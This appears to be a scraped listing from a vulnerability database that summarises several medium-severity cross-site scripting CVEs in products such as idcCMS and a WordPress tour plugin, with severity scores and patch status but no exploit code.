XSS Zimbra Collaboration Suite Synacor
NVD
EPSS 0% CVSS 5.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Kion Computer KION Exchange Programs Software allows Reflected XSS.21.9092.29966. Rated medium severity (CVSS 5.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Microsoft
NVD VulDB
EPSS 0% CVSS 4.8
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Smarttek Informatics Smart Doctor's allows Stored XSS required admin privileges.11.2024. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Smart Doctor
NVD VulDB
EPSS 1% CVSS 5.3
MEDIUM POC This Month

A vulnerability was found in idcCMS 1.60. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Idccms
NVD GitHub VulDB
EPSS 0% CVSS 6.4
MEDIUM This Month

The LSX Tour Operator plugin for WordPress is vulnerable to Stored Cross-Site Scripting via SVG File uploads in all versions up to, and including, 1.4.9 due to insufficient input sanitization and. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Lsx Tour Operator +1
NVD
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Quick Facts

Typical Severity
MEDIUM
Category
web
Total CVEs
40731

Related CWEs

MITRE ATT&CK

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